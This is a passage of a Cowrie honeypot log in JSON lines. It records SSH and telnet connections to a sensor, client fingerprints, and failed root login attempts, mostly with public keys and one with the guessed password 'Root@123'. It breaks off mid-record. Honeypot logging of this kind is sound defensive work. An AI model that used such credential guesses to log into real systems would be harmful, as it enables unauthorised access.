{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:05:45:d1:44:74:11:7d:0b:e2:3b:d1:d4:6e:61:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgz5FAc7EVIX9qkPV5/LtdndLOYAPbwiAONWSGzYp267gwVyOhWLTSa1waFUkK+U6yei73M9DqCZvzHCMwZ9SD0DvrEibQgDRzYrcgdMpXGIlNxt+1VJ+ktfIkWeq48y6TtbBaqScN+I68fut159Vc/sIYEbFlj0iGOhwX9GgH5/IA45SH4s1X42BuV/vB1rTy2GIGtKdkZKc7Yj8hFrNZokFUlmnu+SkYCN9sFMjRJM4nzBkfWOPxVVqeb5QGx8Icb6tIa/pZWjI6z0Llx56hYN46gkCOQyBPilXd7ehoOoA6GalKXCxpsIIR9UL8zkQQLPBA8ZRX+7xaS5+SarfB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.681298Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:5b:18:c3:8f:41:16:24:b3:60:ff:10:06:db:9c:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/B2QdqWS+dE4KK3ae/NuH4yxuAwcmBVoIBwg6hirfeUlHKAI9FUPVeJRcgXAPnAsEuY02fmwxM94kPw0f7w4uzTd3uTjsyZdn41700bTJz0Fbm6jIGwXrJ5mSb3um/Wrho9Jg5HaZJ4tuDwCt8bow3E+lDWKb5LgXkErAQHpA0aibKg1LtUa1ur4PHd6cdfZKpP9exUpeo6RuqSh6z+b5MP/CEEWWLHqEXBL4nCMlpi3sVuhkpYxDSWVxgixjt6yxGR4zo+YowrkDOjScPc3CBqEdG2Y/GIbsLN1WBDbt2OKBh3BUEMAdq12NJYCiHGbpXVUcSMdyQ4FyMBUlZWt4ZOCNRHwfvv8ZbVCEy6oFXwQRXIve/C0PK+mP3qMuf4d5Wgvpsmtj71fZdamDPr82kMSgloGtz1Kx7otqmjxLhSERJgOxoWD+z94/MKQb21CKSwhWy07BKQT+t1rCwMeMA43yvNsAKrA1BWvZsFeb8gCyqJSHnSd+3Uiv9bQhChE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:5b:18:c3:8f:41:16:24:b3:60:ff:10:06:db:9c:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.780616Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:5b:18:c3:8f:41:16:24:b3:60:ff:10:06:db:9c:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/B2QdqWS+dE4KK3ae/NuH4yxuAwcmBVoIBwg6hirfeUlHKAI9FUPVeJRcgXAPnAsEuY02fmwxM94kPw0f7w4uzTd3uTjsyZdn41700bTJz0Fbm6jIGwXrJ5mSb3um/Wrho9Jg5HaZJ4tuDwCt8bow3E+lDWKb5LgXkErAQHpA0aibKg1LtUa1ur4PHd6cdfZKpP9exUpeo6RuqSh6z+b5MP/CEEWWLHqEXBL4nCMlpi3sVuhkpYxDSWVxgixjt6yxGR4zo+YowrkDOjScPc3CBqEdG2Y/GIbsLN1WBDbt2OKBh3BUEMAdq12NJYCiHGbpXVUcSMdyQ4FyMBUlZWt4ZOCNRHwfvv8ZbVCEy6oFXwQRXIve/C0PK+mP3qMuf4d5Wgvpsmtj71fZdamDPr82kMSgloGtz1Kx7otqmjxLhSERJgOxoWD+z94/MKQb21CKSwhWy07BKQT+t1rCwMeMA43yvNsAKrA1BWvZsFeb8gCyqJSHnSd+3Uiv9bQhChE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.784711Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:37:c9:3e:47:75:78:05:81:8c:43:f2:dc:d9:03:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuicZO8lnbNk7vO+J853pMP4jZntrBoLb3ER6OXfR/CitCjn4A3miZGpPvhuvmPj7UAB0RlOuUrL+2X+nQucXJDJv0Dx+bjGzH/9kL4ZSKrL7iocLrruOKlG7t9UHUhP6FuFAFZoi+0F0/rNOtQkzZvWmZTQFlm4gqLuX4dPLZbHzkGqkaGRVcEC8yeEJyilJQcxNETecU/J2ReY3ZWyZHxo0JdjVnPVnRKOhWfrm24fCHqv9TLQUFhzZkVGfRSXb9Qz7QWnhUlK1o8nZL1xD/AzDyZ8/9H0SXOUkTk5/Q+2zMF4Sg/3V3B5RCsnVLVnGUJoysOEAFNhQwB0wBOyLdNNOayiT55mXZmQyONY4lP4UxHVmlzgGK8Clb4iQu/cpXJqlmx+AyZSLOt9NJDJk5oooMZGJmZXhc8iHiL8BjROEBbzvhY09Ca344VD/ueGe11d0nVhbu6WbyVW4JJHjhMK+IdAOfYF401Tt+3hzWqVgGRJKctGC+Yl5GPMKwpau7OeVQansL1ksmwqyII7D+8da4FyqPS7ijv0WTPA95JUC158KFbO0bd/ju6QDKkzDt8nZa4bzoust9xAMbrFyVR7hqoEK/04wmkb9wB2nCgV9M36eiSZsS0Ti3S99Umfs3CytBuFR9z/vA8VJfEr4VFxCoZNxwLSQt4APJXg55ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:37:c9:3e:47:75:78:05:81:8c:43:f2:dc:d9:03:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.873271Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:37:c9:3e:47:75:78:05:81:8c:43:f2:dc:d9:03:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuicZO8lnbNk7vO+J853pMP4jZntrBoLb3ER6OXfR/CitCjn4A3miZGpPvhuvmPj7UAB0RlOuUrL+2X+nQucXJDJv0Dx+bjGzH/9kL4ZSKrL7iocLrruOKlG7t9UHUhP6FuFAFZoi+0F0/rNOtQkzZvWmZTQFlm4gqLuX4dPLZbHzkGqkaGRVcEC8yeEJyilJQcxNETecU/J2ReY3ZWyZHxo0JdjVnPVnRKOhWfrm24fCHqv9TLQUFhzZkVGfRSXb9Qz7QWnhUlK1o8nZL1xD/AzDyZ8/9H0SXOUkTk5/Q+2zMF4Sg/3V3B5RCsnVLVnGUJoysOEAFNhQwB0wBOyLdNNOayiT55mXZmQyONY4lP4UxHVmlzgGK8Clb4iQu/cpXJqlmx+AyZSLOt9NJDJk5oooMZGJmZXhc8iHiL8BjROEBbzvhY09Ca344VD/ueGe11d0nVhbu6WbyVW4JJHjhMK+IdAOfYF401Tt+3hzWqVgGRJKctGC+Yl5GPMKwpau7OeVQansL1ksmwqyII7D+8da4FyqPS7ijv0WTPA95JUC158KFbO0bd/ju6QDKkzDt8nZa4bzoust9xAMbrFyVR7hqoEK/04wmkb9wB2nCgV9M36eiSZsS0Ti3S99Umfs3CytBuFR9z/vA8VJfEr4VFxCoZNxwLSQt4APJXg55ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.877724Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:21.966345Z","src_ip":"216.252.238.153","session":"6f9a024a053c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.201.25","src_port":59138,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2dda32cfd0","protocol":"ssh","message":"New connection: 148.113.201.25:59138 (10.17.0.5:22) [session: 2b2dda32cfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.218137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.223718Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.243738Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:ee:01:b2:9b:47:a3:92:43:9f:fe:c3:a6:fa:64:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt3N4sqkpfrWqdMYKyCBndA+gY/qEuLSZREv3B2Rk4NbEvtqSoHIYrsvuks9yX085QSLbPMOD9VgqoPUQYnshehAyqk2D9ahELjArFeLg5LxfBRsjknYnk58x5f1tbK22U6BiRdcWbk9x6sq90QYzrTs+4g9bhZ2OtuJZDud/vWXAYGQKv6Qmd5XvONZHl7UEK/DSLvc8bYLPs2mg+5w4gHsbWLavuGUcPkF/vJ7K3NujYcpv4D/S1sy8K6LCSvJa4nU47HwGtRX88Ms5lAUNkGi29/qc2ARo4EtXa120GhG5ikUy4hkyg9MebgDNl5sb17BXKpnXepiiT4Yq8yb2Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:ee:01:b2:9b:47:a3:92:43:9f:fe:c3:a6:fa:64:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.318822Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:ee:01:b2:9b:47:a3:92:43:9f:fe:c3:a6:fa:64:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt3N4sqkpfrWqdMYKyCBndA+gY/qEuLSZREv3B2Rk4NbEvtqSoHIYrsvuks9yX085QSLbPMOD9VgqoPUQYnshehAyqk2D9ahELjArFeLg5LxfBRsjknYnk58x5f1tbK22U6BiRdcWbk9x6sq90QYzrTs+4g9bhZ2OtuJZDud/vWXAYGQKv6Qmd5XvONZHl7UEK/DSLvc8bYLPs2mg+5w4gHsbWLavuGUcPkF/vJ7K3NujYcpv4D/S1sy8K6LCSvJa4nU47HwGtRX88Ms5lAUNkGi29/qc2ARo4EtXa120GhG5ikUy4hkyg9MebgDNl5sb17BXKpnXepiiT4Yq8yb2Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.322126Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:26:91:11:03:82:77:4a:85:f4:19:84:d0:5c:ee:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeLxUOFNXl1nLtIkQKLNFUDlFx/dyMQxTLgN0qAcjy90EdmUmrVmalPUi61pPdg3+gGB3SJ0VAlvxwIQiIKINSt7asthFHnepVlXCKpWGQE+Mubt4XQfNm5v4Ff05WkJLqnA3NS837RYgqoH/ZP+W9OCy0/Spdf0EgvAAsbY6OxG8JTjop/ZZhYP/gBtXUq4ja+xbksTa5iUTyJjX57k/5B2cPjqwg5j9AeDdUWi/Dr+ioFE0rmZoNhrPPCSoQE5EweLs67hJv/8jHvYtzAHyUjOqvJEuEfeziJQNZ0Ch4PvkzCKDKaOAzVeWE6QQ/Eqd/DiLM2mmysoDVAaH8jhzn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:26:91:11:03:82:77:4a:85:f4:19:84:d0:5c:ee:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.353117Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:26:91:11:03:82:77:4a:85:f4:19:84:d0:5c:ee:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeLxUOFNXl1nLtIkQKLNFUDlFx/dyMQxTLgN0qAcjy90EdmUmrVmalPUi61pPdg3+gGB3SJ0VAlvxwIQiIKINSt7asthFHnepVlXCKpWGQE+Mubt4XQfNm5v4Ff05WkJLqnA3NS837RYgqoH/ZP+W9OCy0/Spdf0EgvAAsbY6OxG8JTjop/ZZhYP/gBtXUq4ja+xbksTa5iUTyJjX57k/5B2cPjqwg5j9AeDdUWi/Dr+ioFE0rmZoNhrPPCSoQE5EweLs67hJv/8jHvYtzAHyUjOqvJEuEfeziJQNZ0Ch4PvkzCKDKaOAzVeWE6QQ/Eqd/DiLM2mmysoDVAaH8jhzn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.357565Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:47:17:09:2e:93:c5:2a:68:ed:95:61:b7:f2:84:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSxudQLsuv0FpRRznuyU/BIYGccoJ9ulh1tzKL8BkfNIMw/fJVp/9nDdAWLKsr+qjhxqWM9yZnRzqswr4daI9PoXCW6rQi4HvacTsUackESR3QOU/iZwn+ww0x+VgirykUYqC+s9/WhXIKweM2LKz3WTAHqxJL4Y9SHVdpCTm2qv4XAiRgoQv64FXdmrFx0FB2N25YTubqOJEtL8y1p1O0CTEZ6EgizoY1oHnYzBNs3ljrnUr23yi+JssBy0C59xlAlLela45qNPn0yPI+cGYlAaO/XlTnKMcenqNE5kczM/GeS7LXQEr4ps60XYgn4/uvigCWGnAAJJ2GpSAXlL6j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:47:17:09:2e:93:c5:2a:68:ed:95:61:b7:f2:84:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.380264Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:47:17:09:2e:93:c5:2a:68:ed:95:61:b7:f2:84:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSxudQLsuv0FpRRznuyU/BIYGccoJ9ulh1tzKL8BkfNIMw/fJVp/9nDdAWLKsr+qjhxqWM9yZnRzqswr4daI9PoXCW6rQi4HvacTsUackESR3QOU/iZwn+ww0x+VgirykUYqC+s9/WhXIKweM2LKz3WTAHqxJL4Y9SHVdpCTm2qv4XAiRgoQv64FXdmrFx0FB2N25YTubqOJEtL8y1p1O0CTEZ6EgizoY1oHnYzBNs3ljrnUr23yi+JssBy0C59xlAlLela45qNPn0yPI+cGYlAaO/XlTnKMcenqNE5kczM/GeS7LXQEr4ps60XYgn4/uvigCWGnAAJJ2GpSAXlL6j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.383948Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:28:36:2f:3d:98:91:1e:1c:a1:b5:cc:37:fc:15:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu7qhEqAnebqJa2hyYwL+pnqMdQXd/lD5hHBuk8jpoMIuAg2sviVP931WzOoQkF65zVD09TRkvM4Ltfs5MG5CzqqTlbsWtdX2BANxe1+gZYr7TwadqPNYKWEJV5ANb1N/NiSf1J1S+/DJZuB1M0OGWECKJo/pAr6HF8qXa53UZMvAP8QHlYlUIcgb5/6ODmIDi5DOuyu76/DxzBeswCRLQjwEuV5Fr0cm8++YxCn4kxXYlEsAlnwem0BW3yUcJ5ngsOJsPEhwdfGa7bJy40b5NCBk6ur5F0SeJLp2o/Id8MxbdCjsCICo0kht+y8eEJuyTesjBDT5eJPsJxrzZszaB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:28:36:2f:3d:98:91:1e:1c:a1:b5:cc:37:fc:15:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.404558Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:28:36:2f:3d:98:91:1e:1c:a1:b5:cc:37:fc:15:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu7qhEqAnebqJa2hyYwL+pnqMdQXd/lD5hHBuk8jpoMIuAg2sviVP931WzOoQkF65zVD09TRkvM4Ltfs5MG5CzqqTlbsWtdX2BANxe1+gZYr7TwadqPNYKWEJV5ANb1N/NiSf1J1S+/DJZuB1M0OGWECKJo/pAr6HF8qXa53UZMvAP8QHlYlUIcgb5/6ODmIDi5DOuyu76/DxzBeswCRLQjwEuV5Fr0cm8++YxCn4kxXYlEsAlnwem0BW3yUcJ5ngsOJsPEhwdfGa7bJy40b5NCBk6ur5F0SeJLp2o/Id8MxbdCjsCICo0kht+y8eEJuyTesjBDT5eJPsJxrzZszaB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.408584Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:74:1d:9a:83:6e:25:0e:64:2b:1e:d2:42:5d:ec:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnPALpw+viRYGE4x4p/V+fxAwi9634IzoG9yEFU+kjOQJl4vlbj92HRBSMuCQjK9bXFu4n7THbqQ7dnXn6cr7cfYSyVbfcodPs0NaaU4C5POBPCO+OuTneHc6+yFbeiF01ou2j0kGSMWFxD49We/+EzE7WaWhZd3tpkkVFqRgase26lUrroJdQtoQAR13TBt4OkK+rJO91/LDYLzkMxyEAyNSjvvQOrQ0rQsUH8ycGpsxbcLirOEqqpAyk2kCsBQuy2CZ8V7zHt8lozywkn1cCjUw8mXJT6+xgD1ba3gI1unTHJZiekHLhqBqw5YEggPDCcPGo3AC7bweUDVSBEh4n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:74:1d:9a:83:6e:25:0e:64:2b:1e:d2:42:5d:ec:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.430476Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:74:1d:9a:83:6e:25:0e:64:2b:1e:d2:42:5d:ec:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnPALpw+viRYGE4x4p/V+fxAwi9634IzoG9yEFU+kjOQJl4vlbj92HRBSMuCQjK9bXFu4n7THbqQ7dnXn6cr7cfYSyVbfcodPs0NaaU4C5POBPCO+OuTneHc6+yFbeiF01ou2j0kGSMWFxD49We/+EzE7WaWhZd3tpkkVFqRgase26lUrroJdQtoQAR13TBt4OkK+rJO91/LDYLzkMxyEAyNSjvvQOrQ0rQsUH8ycGpsxbcLirOEqqpAyk2kCsBQuy2CZ8V7zHt8lozywkn1cCjUw8mXJT6+xgD1ba3gI1unTHJZiekHLhqBqw5YEggPDCcPGo3AC7bweUDVSBEh4n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.434756Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:23.455169Z","src_ip":"148.113.201.25","session":"2b2dda32cfd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41194,"dst_ip":"10.17.0.5","dst_port":22,"session":"7829583d7621","protocol":"ssh","message":"New connection: 103.15.226.202:41194 (10.17.0.5:22) [session: 7829583d7621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:57.295691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:57.301005Z","src_ip":"103.15.226.202","session":"7829583d7621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:57.542693Z","src_ip":"103.15.226.202","session":"7829583d7621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:58.263393Z","src_ip":"103.15.226.202","session":"7829583d7621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:01:59.505981Z","src_ip":"103.15.226.202","session":"7829583d7621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52425,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3af28de5f73","protocol":"telnet","message":"New connection: 212.55.149.117:52425 (10.17.0.5:23) [session: c3af28de5f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:10.262498Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2d8979788b","protocol":"ssh","message":"New connection: 87.251.64.176:47148 (10.17.0.5:22) [session: 8a2d8979788b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:35.980770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:35.985928Z","src_ip":"87.251.64.176","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-s